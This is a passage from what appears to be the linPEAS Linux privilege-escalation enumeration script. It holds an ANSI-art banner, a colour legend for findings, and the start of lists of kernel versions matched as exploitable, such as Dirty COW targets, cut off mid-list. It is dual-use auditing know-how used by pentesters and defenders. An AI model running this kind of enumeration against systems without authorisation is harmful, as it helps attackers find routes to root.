\e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;71;212;35m\e[38;2;72;216;36m▄\e[48;2;34;101;17m\e[38;2;11;32;5m▄\e[48;2;34;101;17m\e[38;2;1;2;1m▄\e[48;2;34;98;18m\e[38;2;1;3;1m▄\e[48;2;35;101;18m\e[38;2;1;1;1m▄\e[48;2;35;100;17m\e[38;2;1;3;1m▄\e[48;2;57;170;29m\e[38;2;56;168;28m▄\e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;72;217;36m\e[38;2;72;218;36m▄\e[48;2;66;197;33m\e[38;2;72;217;36m▄\e[48;2;46;139;23m\e[38;2;73;217;37m▄\e[48;2;54;163;27m\e[38;2;72;217;37m▄\e[48;2;71;212;36m\e[38;2;72;217;36m▄\e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;72;217;37m\e[38;2;70;204;36m▄\e[48;2;60;158;37m\e[38;2;53;122;37m▄\e[48;2;52;103;38m\e[38;2;52;104;40m▄\e[48;2;33;54;28m\e[38;2;21;34;18m▄\e[48;2;46;70;41m\e[38;2;49;76;44m▄\e[0m + \e[48;2;49;76;44m\e[38;2;51;78;45m▄\e[48;2;32;51;28m\e[38;2;43;65;37m▄\e[48;2;61;125;45m\e[38;2;81;124;71m▄\e[48;2;54;124;38m\e[38;2;53;113;40m▄\e[48;2;68;202;36m\e[38;2;60;156;37m▄\e[48;2;73;218;37m\e[38;2;72;215;36m▄\e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m\e[38;2;73;216;37m▄\e[48;2;73;217;37m\e[38;2;93;205;61m▄\e[48;2;79;213;44m\e[38;2;121;189;95m▄\e[48;2;85;210;51m\e[38;2;132;184;108m▄\e[48;2;82;211;47m\e[38;2;121;191;93m▄\e[48;2;73;217;37m\e[38;2;85;210;52m▄\e[48;2;73;218;37m\e[38;2;73;217;37m▄\e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;37;111;20m\e[38;2;71;214;36m▄\e[48;2;1;2;0m\e[38;2;44;128;22m▄\e[48;2;2;4;2m\e[38;2;15;39;8m▄\e[48;2;1;1;1m\e[38;2;29;82;14m▄\e[48;2;13;37;7m\e[38;2;68;204;34m▄\e[48;2;70;210;35m\e[38;2;73;218;37m▄\e[48;2;73;217;37m\e[38;2;73;218;37m▄\e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;217;37m\e[38;2;74;216;38m▄\e[48;2;82;211;47m\e[38;2;118;191;90m▄\e[48;2;100;200;70m\e[38;2;132;185;108m▄\e[48;2;103;201;72m\e[38;2;127;187;101m▄\e[48;2;98;203;67m\e[38;2;125;189;100m▄\e[48;2;85;209;52m\e[38;2;116;192;88m▄\e[48;2;73;217;37m\e[38;2;80;211;44m▄\e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;72;217;36m\e[38;2;68;200;35m▄\e[48;2;63;170;35m\e[38;2;54;125;36m▄\e[48;2;51;103;38m\e[38;2;51;99;38m▄\e[48;2;49;101;36m\e[38;2;22;45;17m▄\e[48;2;30;47;26m\e[38;2;45;69;39m▄\e[48;2;51;78;45m \e[0m + \e[48;2;51;78;45m \e[48;2;49;75;43m\e[38;2;51;78;45m▄\e[48;2;30;38;27m\e[38;2;39;59;35m▄\e[48;2;63;123;49m\e[38;2;71;110;62m▄\e[48;2;54;121;37m\e[38;2;56;119;40m▄\e[48;2;68;198;37m\e[38;2;60;158;37m▄\e[48;2;73;218;37m\e[38;2;71;216;36m▄\e[48;2;73;217;37m\e[38;2;73;216;38m▄\e[48;2;91;206;58m\e[38;2;110;196;81m▄\e[48;2;122;191;95m\e[38;2;126;188;100m▄\e[48;2;128;186;102m\e[38;2;130;187;104m▄\e[48;2;140;180;116m\e[38;2;128;187;103m▄\e[48;2;126;188;100m\e[38;2;106;197;76m▄\e[48;2;96;202;64m\e[38;2;75;215;39m▄\e[48;2;73;217;37m\e[38;2;72;218;36m▄\e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;74;220;37m\e[38;2;73;218;37m▄\e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;74;217;38m\e[38;2;73;217;37m▄\e[48;2;114;194;86m\e[38;2;76;215;40m▄\e[48;2;142;178;121m\e[38;2;94;205;62m▄\e[48;2;150;176;129m\e[38;2;109;196;81m▄\e[48;2;142;180;120m\e[38;2;95;203;63m▄\e[48;2;116;193;88m\e[38;2;76;214;41m▄\e[48;2;78;213;44m\e[38;2;73;217;37m▄\e[48;2;73;218;37m\e[38;2;73;217;37m▄\e[48;2;73;218;37m\e[38;2;67;196;36m▄\e[48;2;71;209;37m\e[38;2;60;154;36m▄\e[48;2;59;152;36m\e[38;2;57;138;37m▄\e[48;2;52;110;38m\e[38;2;56;130;37m▄\e[48;2;51;104;38m\e[38;2;30;71;21m▄\e[48;2;20;31;17m\e[38;2;45;69;39m▄\e[48;2;50;78;44m\e[38;2;51;78;45m▄\e[48;2;51;78;45m \e[0m + \e[48;2;51;78;45m\e[38;2;28;43;24m▄\e[48;2;51;78;45m\e[38;2;43;64;38m▄\e[48;2;51;78;45m\e[38;2;52;79;46m▄\e[48;2;34;53;30m\e[38;2;46;71;41m▄\e[48;2;64;124;48m\e[38;2;49;106;36m▄\e[48;2;53;115;38m\e[38;2;57;124;40m▄\e[48;2;63;175;36m\e[38;2;55;126;38m▄\e[48;2;73;217;37m\e[38;2;66;186;36m▄\e[48;2;89;208;56m\e[38;2;73;217;37m▄\e[48;2;111;195;82m\e[38;2;75;215;40m▄\e[48;2;109;197;80m\e[38;2;74;216;38m▄\e[48;2;85;209;52m\e[38;2;73;218;36m▄\e[48;2;73;216;37m\e[38;2;73;218;37m▄\e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;217;37m\e[38;2;73;218;37m▄\e[48;2;73;217;37m\e[38;2;73;218;37m▄\e[48;2;73;217;36m\e[38;2;73;218;37m▄\e[48;2;73;218;37m\e[38;2;71;214;36m▄\e[48;2;71;212;36m\e[38;2;63;172;36m▄\e[48;2;63;174;35m\e[38;2;57;138;37m▄\e[48;2;58;146;36m\e[38;2;57;137;38m▄\e[48;2;58;139;37m\e[38;2;57;138;37m▄\e[48;2;58;138;37m\e[38;2;54;128;35m▄\e[48;2;50;117;34m\e[38;2;20;44;14m▄\e[48;2;20;32;17m\e[38;2;39;61;34m▄\e[48;2;51;77;44m\e[38;2;45;69;40m▄\e[48;2;51;78;45m\e[38;2;45;69;40m▄\e[48;2;51;78;45m\e[38;2;49;75;43m▄\e[0m + \e[48;2;84;151;67m\e[38;2;98;177;78m▄\e[48;2;43;80;34m\e[38;2;98;177;78m▄\e[48;2;22;39;19m\e[38;2;98;178;78m▄\e[48;2;43;67;38m\e[38;2;81;148;64m▄\e[48;2;40;70;33m\e[38;2;44;78;36m▄\e[48;2;54;127;36m\e[38;2;21;47;15m▄\e[48;2;55;120;39m\e[38;2;54;117;39m▄\e[48;2;56;133;37m\e[38;2;59;133;40m▄\e[48;2;71;211;36m\e[38;2;61;164;37m▄\e[48;2;73;217;36m\e[38;2;71;211;36m▄\e[48;2;73;218;37m\e[38;2;72;218;36m▄\e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m\e[38;2;73;217;37m▄\e[48;2;73;218;37m\e[38;2;72;217;36m▄\e[48;2;73;218;37m\e[38;2;67;203;34m▄\e[48;2;68;194;37m\e[38;2;40;116;21m▄\e[48;2;58;142;36m\e[38;2;8;21;5m▄\e[48;2;49;120;31m\e[38;2;6;10;5m▄\e[48;2;25;59;16m\e[38;2;73;108;65m▄\e[48;2;15;33;11m\e[38;2;95;157;79m▄\e[48;2;12;25;9m\e[38;2;97;175;77m▄\e[48;2;21;32;19m\e[38;2;99;179;79m▄\e[48;2;23;35;19m\e[38;2;98;178;78m▄\e[48;2;20;34;17m\e[38;2;98;178;78m▄\e[48;2;13;24;11m\e[38;2;98;178;78m▄\e[48;2;16;26;14m\e[38;2;98;177;78m▄\e[0m + \e[48;2;97;176;77m\e[38;2;58;103;46m▄\e[48;2;98;177;78m\e[38;2;94;170;75m▄\e[48;2;98;177;78m\e[38;2;99;179;79m▄\e[48;2;98;177;78m\e[38;2;97;176;77m▄\e[48;2;97;176;77m\e[38;2;98;177;78m▄\e[48;2;91;165;72m\e[38;2;98;177;78m▄\e[48;2;55;100;44m\e[38;2;98;177;78m▄\e[48;2;15;27;10m\e[38;2;92;168;73m▄\e[48;2;24;46;18m\e[38;2;76;138;61m▄\e[48;2;73;154;53m\e[38;2;54;96;43m▄\e[48;2;74;213;39m\e[38;2;24;48;18m▄\e[48;2;74;222;37m\e[38;2;20;55;11m▄\e[48;2;73;217;37m\e[38;2;31;91;16m▄\e[48;2;73;218;37m\e[38;2;49;145;24m▄\e[48;2;73;218;37m\e[38;2;68;201;35m▄\e[48;2;73;218;37m\e[38;2;73;217;37m▄\e[48;2;73;218;37m\e[38;2;74;220;37m▄\e[48;2;73;218;37m\e[38;2;73;219;37m▄\e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m\e[38;2;73;220;37m▄\e[48;2;73;218;37m\e[38;2;72;214;37m▄\e[48;2;73;218;37m\e[38;2;63;187;32m▄\e[48;2;72;217;36m\e[38;2;41;120;22m▄\e[48;2;74;222;36m\e[38;2;21;52;13m▄\e[48;2;67;203;34m\e[38;2;39;62;34m▄\e[48;2;40;117;21m\e[38;2;64;103;54m▄\e[48;2;14;43;7m\e[38;2;72;126;57m▄\e[48;2;4;12;2m\e[38;2;87;156;69m▄\e[48;2;25;45;21m\e[38;2;97;174;78m▄\e[48;2;71;124;57m\e[38;2;99;177;80m▄\e[48;2;97;168;78m\e[38;2;94;170;75m▄\e[48;2;96;175;77m\e[38;2;103;177;84m▄\e[48;2;98;176;79m\e[38;2;109;183;90m▄\e[48;2;100;178;80m\e[38;2;112;185;94m▄\e[48;2;100;177;80m\e[38;2;111;184;92m▄\e[48;2;99;177;80m\e[38;2;107;182;89m▄\e[48;2;98;177;78m\e[38;2;105;182;85m▄\e[48;2;98;177;78m\e[38;2;103;180;83m▄\e[48;2;98;177;78m\e[38;2;99;177;79m▄\e[0m + \e[38;2;54;79;47m▀\e[38;2;72;123;60m▀\e[48;2;97;176;78m\e[38;2;65;87;60m▄\e[48;2;98;177;78m\e[38;2;73;130;59m▄\e[48;2;98;177;78m\e[38;2;91;165;72m▄\e[48;2;98;177;78m \e[48;2;98;177;78m \e[48;2;98;177;78m \e[48;2;96;172;77m\e[38;2;98;177;78m▄\e[48;2;82;147;65m\e[38;2;98;177;78m▄\e[48;2;66;116;52m\e[38;2;98;177;78m▄\e[48;2;46;78;38m\e[38;2;98;177;78m▄\e[48;2;27;51;20m\e[38;2;98;177;78m▄\e[48;2;28;60;20m\e[38;2;94;169;74m▄\e[48;2;28;67;19m\e[38;2;86;155;69m▄\e[48;2;34;96;19m\e[38;2;69;123;54m▄\e[48;2;42;126;21m\e[38;2;48;86;39m▄\e[48;2;51;148;27m\e[38;2;36;64;28m▄\e[48;2;55;164;28m\e[38;2;26;46;20m▄\e[48;2;60;180;30m\e[38;2;23;39;18m▄\e[48;2;62;186;31m\e[38;2;21;40;17m▄\e[48;2;61;181;31m\e[38;2;19;36;16m▄\e[48;2;67;176;40m\e[38;2;18;32;14m▄\e[48;2;63;173;35m\e[38;2;23;36;19m▄\e[48;2;56;168;29m\e[38;2;27;42;23m▄\e[48;2;53;160;27m\e[38;2;29;45;24m▄\e[48;2;44;133;22m\e[38;2;30;53;25m▄\e[48;2;34;102;17m\e[38;2;52;89;43m▄\e[48;2;20;60;10m\e[38;2;88;148;71m▄\e[48;2;24;47;19m\e[38;2;97;171;78m▄\e[48;2;34;62;27m\e[38;2;98;177;78m▄\e[48;2;55;99;44m\e[38;2;98;177;78m▄\e[48;2;80;144;64m\e[38;2;98;177;78m▄\e[48;2;99;176;79m\e[38;2;98;177;78m▄\e[48;2;98;177;78m \e[48;2;98;177;78m\e[38;2;99;177;79m▄\e[48;2;99;177;79m\e[38;2;96;172;76m▄\e[48;2;99;175;79m\e[38;2;85;151;68m▄\e[48;2;95;169;76m\e[38;2;72;121;60m▄\e[48;2;109;180;92m\e[38;2;37;57;32m▄\e[48;2;100;159;85m\e[38;2;38;41;36m▄\e[48;2;72;107;62m\e[38;2;74;74;74m▄\e[0m\e[38;2;44;65;38m▀\e[38;2;31;48;27m▀\e[38;2;31;48;26m▀\e[38;2;31;52;25m▀\e[38;2;41;71;34m▀\e[38;2;59;97;50m▀\e[0m + \e[38;2;95;106;94m▀\e[38;2;81;137;65m▀\e[38;2;91;166;73m▀\e[48;2;95;174;76m\e[38;2;61;73;59m▄\e[48;2;98;177;78m\e[38;2;33;66;26m▄\e[48;2;98;177;78m\e[38;2;81;143;65m▄\e[48;2;98;177;78m\e[38;2;102;182;81m▄\e[48;2;98;177;78m\e[38;2;97;176;77m▄\e[48;2;98;177;78m \e[48;2;98;177;78m \e[48;2;98;177;78m \e[48;2;98;177;78m \e[48;2;98;177;78m \e[48;2;98;177;78m \e[48;2;98;178;78m\e[38;2;98;177;78m▄\e[48;2;98;179;78m\e[38;2;98;177;78m▄\e[48;2;98;179;78m\e[38;2;98;177;78m▄\e[48;2;99;179;78m\e[38;2;98;177;78m▄\e[48;2;98;179;78m\e[38;2;98;177;78m▄\e[48;2;98;178;78m\e[38;2;98;177;78m▄\e[48;2;98;178;78m\e[38;2;98;177;78m▄\e[48;2;98;178;78m\e[38;2;98;177;78m▄\e[48;2;98;179;78m\e[38;2;98;177;78m▄\e[48;2;97;177;77m\e[38;2;98;177;78m▄\e[48;2;98;177;78m \e[48;2;98;177;78m \e[48;2;98;177;78m\e[38;2;98;176;78m▄\e[48;2;98;177;78m\e[38;2;99;179;78m▄\e[48;2;98;177;78m\e[38;2;93;169;74m▄\e[48;2;98;177;78m\e[38;2;56;106;44m▄\e[48;2;96;174;77m\e[38;2;16;31;13m▄\e[48;2;68;126;54m\e[38;2;58;58;58m▄\e[0m\e[38;2;28;50;23m▀\e[38;2;20;22;20m▀\e[0m + \e[38;2;41;52;39m▀\e[38;2;39;76;30m▀\e[38;2;73;136;57m▀\e[48;2;90;162;72m\e[38;2;96;100;95m▄\e[48;2;99;175;79m\e[38;2;60;69;58m▄\e[48;2;98;177;78m\e[38;2;46;59;43m▄\e[48;2;98;177;78m\e[38;2;32;51;27m▄\e[48;2;98;178;78m\e[38;2;28;50;23m▄\e[48;2;98;178;78m\e[38;2;28;55;22m▄\e[48;2;98;178;78m\e[38;2;35;64;28m▄\e[48;2;98;177;78m\e[38;2;41;75;33m▄\e[48;2;98;177;78m\e[38;2;50;89;41m▄\e[48;2;98;177;77m\e[38;2;54;89;45m▄\e[48;2;98;177;77m\e[38;2;53;89;44m▄\e[48;2;98;177;78m\e[38;2;49;86;39m▄\e[48;2;98;177;78m\e[38;2;45;83;36m▄\e[48;2;98;177;78m\e[38;2;40;74;32m▄\e[48;2;98;177;78m\e[38;2;35;64;28m▄\e[48;2;98;178;78m\e[38;2;39;60;33m▄\e[48;2;90;163;71m\e[38;2;55;61;53m▄\e[0m\e[38;2;53;97;41m▀\e[38;2;24;44;19m▀\e[38;2;36;41;35m▀\e[0m +'"; + else + echo " \e[48;5;108m \e[48;5;59m \e[48;5;71m \e[48;5;77m \e[48;5;22m \e[48;5;108m \e[48;5;114m \e[48;5;59m \e[49m + \e[48;5;108m \e[48;5;71m \e[48;5;22m \e[48;5;113m \e[48;5;71m \e[48;5;94m \e[48;5;214m \e[48;5;58m \e[48;5;214m \e[48;5;100m \e[48;5;71m \e[48;5;16m \e[48;5;108m \e[49m + \e[48;5;65m \e[48;5;16m \e[48;5;22m \e[48;5;214m \e[48;5;16m \e[48;5;214m \e[48;5;65m \e[49m + \e[48;5;65m \e[48;5;214m \e[48;5;16m \e[48;5;214m \e[48;5;16m \e[48;5;214m \e[48;5;136m \e[48;5;65m \e[49m + \e[48;5;23m \e[48;5;214m \e[48;5;178m \e[48;5;214m \e[48;5;65m \e[49m + \e[48;5;16m \e[48;5;214m \e[48;5;136m \e[48;5;94m \e[48;5;136m \e[48;5;214m \e[48;5;65m \e[49m + \e[48;5;58m \e[48;5;214m \e[48;5;172m \e[48;5;64m \e[48;5;77m \e[48;5;71m \e[48;5;65m \e[49m + \e[48;5;16m \e[48;5;71m \e[48;5;77m \e[48;5;71m \e[48;5;77m \e[48;5;71m \e[48;5;77m \e[48;5;65m \e[49m + \e[48;5;59m \e[48;5;71m \e[48;5;77m \e[48;5;77m \e[48;5;16m \e[48;5;77m \e[48;5;16m \e[48;5;77m \e[48;5;65m \e[49m + \e[48;5;65m \e[48;5;77m \e[48;5;71m \e[48;5;16m \e[48;5;77m \e[48;5;113m \e[48;5;77m \e[48;5;65m \e[49m + \e[48;5;65m \e[48;5;16m \e[48;5;77m \e[48;5;150m \e[48;5;113m \e[48;5;77m \e[48;5;150m \e[48;5;113m \e[48;5;77m \e[48;5;65m \e[48;5;59m \e[48;5;65m \e[49m + \e[48;5;16m \e[48;5;65m \e[48;5;71m \e[48;5;77m \e[48;5;71m \e[48;5;22m \e[48;5;65m \e[49m + \e[48;5;108m \e[48;5;107m \e[48;5;59m \e[48;5;77m \e[48;5;16m \e[48;5;114m \e[48;5;108m \e[49m" + fi + fi +} + + +print_support () { + printf "" +} + +########################################### +#-----------) Starting Output (-----------# +########################################### + +echo "" +if [ ! "$QUIET" ]; then print_banner; print_support; fi +printf ${BLUE}" $SCRIPTNAME-$VERSION ${YELLOW}by carlospolop\n"$NC; +echo "" +printf ${YELLOW}"ADVISORY: ${BLUE}$ADVISORY\n$NC" +echo "" +printf ${BLUE}"Linux Privesc Checklist: ${YELLOW}https://book.hacktricks.xyz/linux-hardening/linux-privilege-escalation-checklist\n"$NC +echo " LEGEND:" | sed "s,LEGEND,${C}[1;4m&${C}[0m," +echo " RED/YELLOW: 95% a PE vector" | sed "s,RED/YELLOW,${SED_RED_YELLOW}," +echo " RED: You should take a look to it" | sed "s,RED,${SED_RED}," +echo " LightCyan: Users with console" | sed "s,LightCyan,${SED_LIGHT_CYAN}," +echo " Blue: Users without console & mounted devs" | sed "s,Blue,${SED_BLUE}," +echo " Green: Common things (users, groups, SUID/SGID, mounts, .sh scripts, cronjobs) " | sed "s,Green,${SED_GREEN}," +echo " LightMagenta: Your username" | sed "s,LightMagenta,${SED_LIGHT_MAGENTA}," +if [ "$IAMROOT" ]; then + echo "" + echo " YOU ARE ALREADY ROOT!!! (it could take longer to complete execution)" | sed "s,YOU ARE ALREADY ROOT!!!,${SED_RED_YELLOW}," + sleep 3 +fi +echo "" +printf " ${DG}Starting $SCRIPTNAME. Caching Writable Folders...$NC" +echo "" + +########################################### +#---------------) Lists (-----------------# +########################################### + +filename="$SCRIPTNAME.txt$RANDOM" +kernelB=" 4.0.[0-9]+| 4.1.[0-9]+| 4.2.[0-9]+| 4.3.[0-9]+| 4.4.[0-9]+| 4.5.[0-9]+| 4.6.[0-9]+| 4.7.[0-9]+| 4.8.[0-9]+| 4.9.[0-9]+| 4.10.[0-9]+| 4.11.[0-9]+| 4.12.[0-9]+| 4.13.[0-9]+| 3.9.6| 3.9.0| 3.9| 3.8.9| 3.8.8| 3.8.7| 3.8.6| 3.8.5| 3.8.4| 3.8.3| 3.8.2| 3.8.1| 3.8.0| 3.8| 3.7.6| 3.7.0| 3.7| 3.6.0| 3.6| 3.5.0| 3.5| 3.4.9| 3.4.8| 3.4.6| 3.4.5| 3.4.4| 3.4.3| 3.4.2| 3.4.1| 3.4.0| 3.4| 3.3| 3.2| 3.19.0| 3.16.0| 3.15| 3.14| 3.13.1| 3.13.0| 3.13| 3.12.0| 3.12| 3.11.0| 3.11| 3.10.6| 3.10.0| 3.10| 3.1.0| 3.0.6| 3.0.5| 3.0.4| 3.0.3| 3.0.2| 3.0.1| 3.0.0| 2.6.9| 2.6.8| 2.6.7| 2.6.6| 2.6.5| 2.6.4| 2.6.39| 2.6.38| 2.6.37| 2.6.36| 2.6.35| 2.6.34| 2.6.33| 2.6.32| 2.6.31| 2.6.30| 2.6.3| 2.6.29| 2.6.28| 2.6.27| 2.6.26| 2.6.25| 2.6.24.1| 2.6.24| 2.6.23| 2.6.22| 2.6.21| 2.6.20| 2.6.2| 2.6.19| 2.6.18| 2.6.17| 2.6.16| 2.6.15| 2.6.14| 2.6.13| 2.6.12| 2.6.11| 2.6.10| 2.6.1| 2.6.0| 2.4.9| 2.4.8| 2.4.7| 2.4.6| 2.4.5| 2.4.4| 2.4.37| 2.4.36| 2.4.35| 2.4.34| 2.4.33| 2.4.32| 2.4.31| 2.4.30| 2.4.29| 2.4.28| 2.4.27| 2.4.26| 2.4.25| 2.4.24| 2.4.23| 2.4.22| 2.4.21| 2.4.20| 2.4.19| 2.4.18| 2.4.17| 2.4.16| 2.4.15| 2.4.14| 2.4.13| 2.4.12| 2.4.11| 2.4.10| 2.2.24" +kernelDCW_Ubuntu_Precise_1="3.1.1-1400-linaro-lt-mx5|3.11.0-13-generic|3.11.0-14-generic|3.11.0-15-generic|3.11.0-17-generic|3.11.0-18-generic|3.11.0-20-generic|3.11.0-22-generic|3.11.0-23-generic|3.11.0-24-generic|3.11.0-26-generic|3.13.0-100-generic|3.13.0-24-generic|3.13.0-27-generic|3.13.0-29-generic|3.13.0-30-generic|3.13.0-32-generic|3.13.0-33-generic|3.13.0-34-generic|3.13.0-35-generic|3.13.0-36-generic|3.13.0-37-generic|3.13.0-39-generic|3.13.0-40-generic|3.13.0-41-generic|3.13.0-43-generic|3.13.0-44-generic|3.13.0-46-generic|3.13.0-48-generic|3.13.0-49-generic|3.13.0-51-generic|3.13.0-52-generic|3.13.0-53-generic|3.13.0-54-generic|3.13.0-55-generic|3.13.0-57-generic|3.13.0-58-generic|3.13.0-59-generic|3.13.0-61-generic|3.13.0-62-generic|3.13.0-63-generic|3.13.0-65-generic|3.13.0-66-generic|3.13.0-67-generic|3.13.0-68-generic|3.13.0-71-generic|3.13.0-73-generic|3.13.0-74-generic|3.13.0-76-generic|3.13.0-77-generic|3.13.0-79-generic|3.13.0-83-generic|3.13.0-85-generic|3.13.0-86-generic|3.13.0-88-generic|3.13.0-91-generic|3.13.0-92-generic|3.13.0-93-generic|3.13.0-95-generic|3.13.0-96-generic|3.13.0-98-generic|3.2.0-101-generic|3.2.0-101-generic-pae|3.2.0-101-virtual|3.2.0-102-generic|3.2.0-102-generic-pae|3.2.0-102-virtual" +kernelDCW_Ubuntu_Precise_2="3.2.0-104-generic|3.2.0-104-generic-pae|3.2.0-104-virtual|3.2.0-105-generic|3.2.0-105-generic-pae|3.2.0-105-virtual|3.2.0-106-generic|3.2.0-106-generic-pae|3.2.0-106-virtual|3.2.0-107-generic|3.2.0-107-generic-pae|3.2.0-107-virtual|3.2.0-109-generic|3.2.0-109-generic-pae|3.2.0-109-virtual|3.2.0-110-generic|3.2.0-110-generic-pae|3.2.0-110-virtual|3.2.0-111-generic|3.2.0-111-generic-pae|3.2.0-111-virtual|3.2.0-1412-omap4|3.2.0-1602-armadaxp|3.2.0-23-generic|3.2.0-23-generic-pae|3.2.0-23-lowlatency|3.2.0-23-lowlatency-pae|3.2.0-23-omap|3.2.0-23-powerpc-smp|3.2.0-23-powerpc64-smp|3.2.0-23-virtual|3.2.0-24-generic|3.2.0-24-generic-pae|3.2.0-24-virtual|3.2.0-25-generic|3.2.0-25-generic-pae|3.2.0-25-virtual|3.2.0-26-generic|3.2.0-26-generic-pae|3.2.0-26-virtual|3.2.0-27-generic|3.2.0-27-generic-pae|3.2.0-27-virtual|3.2.0-29-generic|3.2.0-29-generic-pae|3.2.0-29-virtual|3.2.0-31-generic|3.2.0-31-generic-pae|3.2.0-31-virtual|3.2.0-32-generic|3.2.0-32-generic-pae|3.2.0-32-virtual|3.2.0-33-generic|3.2.0-33-generic-pae|3.2.0-33-lowlatency|3.2.0-33-lowlatency-pae|3.2.0-33-virtual|3.2.0-34-generic|3.2.0-34-generic-pae|3.2.0-34-virtual|3.2.0-35-generic|3.2.0-35-generic-pae|3.2.0-35-lowlatency|3.2.0-35-lowlatency-pae|3.2.0-35-virtual" +kernelDCW_Ubuntu_Precise_3="3.2.0-36-generic|3.2.0-36-generic-pae|3.2.0-36-lowlatency|3.2.0-36-lowlatency-pae|3.2.0-36-virtual|3.2.0-37-generic|3.2.0-37-generic-pae|3.2.0-37-lowlatency|3.2.0-37-lowlatency-pae|3.2.0-37-virtual|3.2.0-38-generic|3.2.0-38-generic-pae|3.2.0-38-lowlatency|3.2.0-38-lowlatency-pae|3.2.0-38-virtual|3.2.0-39-generic|3.2.0-39-generic-pae|3.2.0-39-lowlatency|3.2.0-39-lowlatency-pae|3.2.0-39-virtual|3.2.0-40-generic|3.2.0-40-generic-pae|3.2.0-40-lowlatency|3.2.0-40-lowlatency-pae|3.2.0-40-virtual|3.2.0-41-generic|3.2.0-41-generic-pae|3.2.0-41-lowlatency|3.2.0-41-lowlatency-pae|3.2.0-41-virtual|3.2.0-43-generic|3.2.0-43-generic-pae|3.2.0-43-virtual|3.2.0-44-generic|3.2.0-44-generic-pae|3.2.0-44-lowlatency|3.2.0-44-lowlatency-pae|3.2.0-44-virtual|3.2.0-45-generic|3.2.0-45-generic-pae|3.2.0-45-virtual|3.2.0-48-generic|3.2.0-48-generic-pae|3.2.0-48-lowlatency|3.2.0-48-lowlatency-pae|3.2.0-48-virtual|3.2.0-51-generic|3.2.0-51-generic-pae|3.2.0-51-lowlatency|3.2.0-51-lowlatency-pae|3.2.0-51-virtual|3.2.0-52-generic|3.2.0-52-generic-pae|3.2.0-52-lowlatency|3.2.0-52-lowlatency-pae|3.2.0-52-virtual|3.2.0-53-generic" +kernelDCW_Ubuntu_Precise_4="3.2.0-53-generic-pae|3.2.0-53-lowlatency|3.2.0-53-lowlatency-pae|3.2.0-53-virtual|3.2.0-54-generic|3.2.0-54-generic-pae|3.2.0-54-lowlatency|3.2.0-54-lowlatency-pae|3.2.0-54-virtual|3.2.0-55-generic|3.2.0-55-generic-pae|3.2.0-55-lowlatency|3.2.0-55-lowlatency-pae|3.2.0-55-virtual|3.2.0-56-generic|3.2.0-56-generic-pae|3.2.0-56-lowlatency|3.2.0-56-lowlatency-pae|3.2.0-56-virtual|3.2.0-57-generic|3.2.0-57-generic-pae|3.2.0-57-lowlatency|3.2.0-57-lowlatency-pae|3.2.0-57-virtual|3.2.0-58-generic|3.2.0-58-generic-pae|3.2.0-58-lowlatency|3.2.0-58-lowlatency-pae|3.2.0-58-virtual|3.2.0-59-generic|3.2.0-59-generic-pae|3.2.0-59-lowlatency|3.2.0-59-lowlatency-pae|3.2.0-59-virtual|3.2.0-60-generic|3.2.0-60-generic-pae|3.2.0-60-lowlatency|3.2.0-60-lowlatency-pae|3.2.0-60-virtual|3.2.0-61-generic|3.2.0-61-generic-pae|3.2.0-61-virtual|3.2.0-63-generic|3.2.0-63-generic-pae|3.2.0-63-lowlatency|3.2.0-63-lowlatency-pae|3.2.0-63-virtual|3.2.0-64-generic|3.2.0-64-generic-pae|3.2.0-64-lowlatency|3.2.0-64-lowlatency-pae|3.2.0-64-virtual|3.2.0-65-generic|3.2.0-65-generic-pae|3.2.0-65-lowlatency|3.2.0-65-lowlatency-pae|3.2.0-65-virtual|3.2.0-67-generic|3.2.0-67-generic-pae|3.2.0-67-lowlatency|3.2.0-67-lowlatency-pae|3.2.0-67-virtual|3